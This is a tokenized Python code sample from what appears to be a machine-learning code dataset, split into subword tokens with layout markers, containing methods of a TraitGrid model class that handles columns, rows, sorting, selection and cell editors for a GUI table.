"\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "column", "\\u", "count_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Return", " ", "the", " ", "number", " ", "of", " ", "column", "s", " ", "for", " ", "this", " ", "table", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "len_", "(_", "self_", "._", "\\u", "auto", "\\u", "columns_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "column", "\\u", "name_", "(_", "self_", ",_", "index_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Return", " ", "the", " ", "label", " ", "of", " ", "the", " ", "column", " ", "specified", " ", "by", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "(", "zero", "-", "based", ")", " ", "index", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "col_", "=_", "self_", "._", "\\u", "auto", "\\u", "columns_", "[_", "index_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "col_", ",_", "Trait", "Grid", "Column_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "col_", "._", "label_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "name_", "=_", "col_", "._", "label_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "name_", "=_", "col_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Index", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "column", "\\u", "size_", "(_", "self_", ",_", "index_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Return", " ", "the", " ", "size", " ", "in", " ", "pixel", "s", " ", "of", " ", "the", " ", "column", " ", "indexe", "d", " ", "by", " ", "col", ".", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "value", " ", "of", " ", "-1", " ", "or", " ", "Non", "e", " ", "means", " ", "use", " ", "the", " ", "default", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "size_", "=_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "col_", "=_", "self_", "._", "\\u", "auto", "\\u", "columns_", "[_", "index_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "col_", ",_", "Trait", "Grid", "Column_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "size_", "=_", "col_", "._", "size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Index", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "cols", "\\u", "drag", "\\u", "value_", "(_", "self_", ",_", "cols_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Return", " ", "the", " ", "value", " ", "to", " ", "use", " ", "whe", "n", " ", "the", " ", "specified", " ", "column", "s", " ", "are", " ", "dragg", "ed", " ", "or", "\\", "10", ";", " ", " ", " ", " ", "copie", "d", " ", "and", " ", "paste", "d", ".", " ", "cols", " ", "is", " ", "a", " ", "list", " ", "of", " ", "column", " ", "indexe", "s", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "iterate", " ", "over", " ", "every", " ", "column", ",", " ", "buildi", "ng", " ", "a", " ", "list", " ", "of", " ", "the", " ", "values", " ", "in", " ", "that_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "column_", "\\u\\u\\uNL\\u\\u\\u_", "value_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "col_", "in_", "cols_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "._", "append_", "(_", "self_", "._", "\\u\\u", "get", "\\u", "data\\u", "column_", "(_", "col_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "cols", "\\u", "selection", "\\u", "value_", "(_", "self_", ",_", "cols_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Return", "s", " ", "a", " ", "list", " ", "of", " ", "Trait", "Grid", "Selecti", "on", " ", "object", "s", " ", "contain", "ing", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "object", " ", "correspond", "ing", " ", "to", " ", "the", " ", "grid", " ", "rows", " ", "and", " ", "the", " ", "traits", " ", "correspond", "ing", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "the", " ", "specified", " ", "column", "s", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "values_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "obj_", "in_", "self_", "._", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "col_", "in_", "cols_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "values_", "._", "append_", "(_", "Trait", "Grid", "Selection_", "(_", "obj_", "=_", "obj_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "tra", "it", "\\u", "name_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "column", "\\u", "name_", "(_", "col_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "values_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "sort", "\\u", "by", "\\u", "column_", "(_", "self_", ",_", "col_", ",_", "reverse_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Sort", " ", "model", " ", "data", " ", "by", " ", "the", " ", "column", " ", "indexe", "d", " ", "by", " ", "col", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "first", " ", "check", " ", "to", " ", "see", " ", "if", " ", "we", " ", "allow", " ", "sorts", " ", "by", " ", "column_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "self_", "._", "allow", "\\u", "column", "\\u", "sort_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "see", " ", "if", " ", "a", " ", "sorter", " ", "is", " ", "specified", " ", "for", " ", "this", " ", "column_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "column_", "=_", "self_", "._", "\\u", "auto", "\\u", "columns_", "[_", "col_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "name_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "column", "\\u", "name_", "(_", "col_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "by", " ", "default", " ", "we", " ", "use", " ", "cmp", " ", "to", " ", "sort", " ", "on", " ", "the", " ", "traits_", "\\u\\u\\uNL\\u\\u\\u_", "sorter", "_", "=_", "cmp_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "column_", ",_", "Trait", "Grid", "Column_", ")_", "and_", "column_", "._", "sorter", "_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sorter", "_", "=_", "column_", "._", "sorter", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Index", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "now", " ", "sort", " ", "the", " ", "data", " ", "appropr", "iate", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "sort", "\\u", "function_", "(_", "a_", ",_", "b_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "hasattr_", "(_", "a_", ",_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a", "\\u", "trait_", "=_", "getattr_", "(_", "a_", ",_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a", "\\u", "trait_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "b_", ",_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "b", "\\u", "trait_", "=_", "getattr_", "(_", "b_", ",_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "b", "\\u", "trait_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "sorter", "_", "(_", "a", "\\u", "trait_", ",_", "b", "\\u", "trait_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "data_", "._", "sort_", "(_", "sort", "\\u", "function_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "reverse_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "data_", "._", "reverse_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "now", " ", "fire", " ", "an", " ", "event", " ", "to", " ", "tell", " ", "the", " ", "grid", " ", "we", "'", "re", " ", "sorted_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "'", "fir", "ing", " ", "sort", " ", "event", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "column", "\\u", "sorted_", "=_", "Grid", "Sort", "Event_", "(_", "index_", "=_", "col_", ",_", "reversed_", "=_", "reverse_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "column", "\\u", "read", "\\u", "only_", "(_", "self_", ",_", "index_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Return", " ", "Tru", "e", " ", "if", " ", "the", " ", "column", " ", "specified", " ", "by", " ", "the", " ", "zero", "-", "based", " ", "index", "\\", "10", ";", " ", " ", " ", " ", "is", " ", "read", "-", "only", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "self_", "._", "\\u\\u", "get", "\\u", "column", "\\u", "readonly_", "(_", "index_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "row", "\\u", "count_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Return", " ", "the", " ", "number", " ", "of", " ", "rows", " ", "for", " ", "this", " ", "table", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "data_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "count_", "=_", "len_", "(_", "self_", "._", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "count_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "count_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "row", "\\u", "name_", "(_", "self_", ",_", "index_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Return", " ", "the", " ", "name", " ", "of", " ", "the", " ", "row", " ", "specified", " ", "by", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "(", "zero", "-", "based", ")", " ", "index", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "row", "\\u", "name", "\\u", "trait_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "row_", "=_", "self_", "._", "\\u", "get", "\\u", "row_", "(_", "index_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "row_", ",_", "self_", "._", "row", "\\u", "name", "\\u", "trait_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "name_", "=_", "getattr_", "(_", "row_", ",_", "self_", "._", "row", "\\u", "name", "\\u", "trait_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Index", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "str_", "(_", "index_", "+_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "str_", "(_", "index_", "+_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "rows", "\\u", "drag", "\\u", "value_", "(_", "self_", ",_", "rows_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Return", " ", "the", " ", "value", " ", "to", " ", "use", " ", "whe", "n", " ", "the", " ", "specified", " ", "rows", " ", "are", " ", "dragg", "ed", " ", "or", "\\", "10", ";", " ", " ", " ", " ", "copie", "d", " ", "and", " ", "paste", "d", ".", " ", "rows", " ", "is", " ", "a", " ", "list", " ", "of", " ", "row", " ", "indexe", "s", ".", " ", "If", " ", "there", " ", "is", " ", "only", "\\", "10", ";", " ", " ", " ", " ", "one", " ", "row", " ", "liste", "d", ",", " ", "return", " ", "the", " ", "correspond", "ing", " ", "tra", "it", " ", "object", ".", " ", "If", " ", "more", " ", "than", "\\", "10", ";", " ", " ", " ", " ", "one", " ", "row", " ", "is", " ", "liste", "d", " ", "then", " ", "return", " ", "a", " ", "list", " ", "of", " ", "object", "s", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "return", " ", "a", " ", "list", " ", "of", " ", "objects_", "\\u\\u\\uNL\\u\\u\\u_", "value_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "index_", "in_", "rows_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "note", " ", "tha", "t", " ", "we", " ", "can", "'", "t", " ", "use", " ", "get", "\\u", "value", " ", "for", " ", "this", " ", "bec", "aus", "e", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "somet", "imes", " ", "return", "s", " ", "string", "s", " ", "inst", "ead", " ", "of", " ", "the", " ", "actual", " ", "value", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "e", ".", "g", ".", " ", "in", " ", "case", "s", " ", "where", " ", "a", " ", "float", "\\u", "format", " ", "is", " ", "specified", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "._", "append_", "(_", "self_", "._", "\\u", "get", "\\u", "row_", "(_", "index_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Index", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "._", "append_", "(_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "rows", "\\u", "selection", "\\u", "value_", "(_", "self_", ",_", "rows_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Return", "s", " ", "a", " ", "list", " ", "of", " ", "Trait", "Grid", "Selecti", "on", " ", "object", "s", " ", "contain", "ing", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "object", " ", "correspond", "ing", " ", "to", " ", "the", " ", "selecte", "d", " ", "rows", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "values_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "row", "\\u", "index_", "in_", "rows_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "values_", "._", "append_", "(_", "Trait", "Grid", "Selection_", "(_", "obj_", "=_", "self_", "._", "data_", "[_", "row", "\\u", "index_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "values_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "row", "\\u", "read", "\\u", "only_", "(_", "self_", ",_", "index_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Return", " ", "Tru", "e", " ", "if", " ", "the", " ", "row", " ", "specified", " ", "by", " ", "the", " ", "zero", "-", "based", " ", "index", "\\", "10", ";", " ", " ", " ", " ", "is", " ", "read", "-", "only", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "cell", "\\u", "editor_", "(_", "self_", ",_", "row_", ",_", "col_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Return", " ", "the", " ", "editor", " ", "for", " ", "the", " ", "specified", " ", "cell", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "'", "Trait", "Grid", "Model", ".", "get", "\\u", "cell", "\\u", "editor", " ", "row", ":", " ", "',", " ", "row", ",", " ", "'", " ", "col", ":", " ", "',", " ", "col_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "obj_", "=_", "self_", "._", "data_", "[_", "row_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tra", "it", "\\u", "name_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "column", "\\u", "name_", "(_", "col_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "trait_", "=_", "obj_", "._", "base", "\\u", "trait_", "(_", "tra", "it", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "trait_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "factory_", "=_", "trait_", "._", "get", "\\u", "editor_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "Trait", "Grid", "Cel", "l", "Adapter_", "(_", "factory_", ",_", "obj_", ",_", "tra", "it", "\\u", "name_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "cell", "\\u", "drag", "\\u", "value_", "(_", "self_", ",_", "row_", ",_", "col_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Return", " ", "the", " ", "value", " ", "to", " ", "use", " ", "whe", "n", " ", "the", " ", "specified", " ", "cell", " ", "is", " ", "dragg", "ed", " ", "or", "\\", "10", ";", " ", " ", " ", " ", "copie", "d", " ", "and", " ", "paste", "d", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "find", " ", "the", " ", "name", " ", "of", " ", "the", " ", "column", " ", "indexe", "d", " ", "by", " ", "col_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "note", " ", "tha", "t", " ", "this", " ", "code", " ", "is", " ", "the", " ", "same", " ", "as", " ", "the", " ", "get", "\\u", "value", " ", "code", " ", "but", " ", "with", "out_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "potenti", "al", " ", "string", " ", "formatting_", "\\u\\u\\uNL\\u\\u\\u_", "column_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "column_", "(_", "col_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "=_", "self_", "._", "\\u", "get", "\\u", "row_", "(_", "row_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "value_", "=_", "self_", "._", "\\u", "get", "\\u", "data\\u", "from", "\\u", "row_", "(_", "obj_", ",_", "column_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "value_", 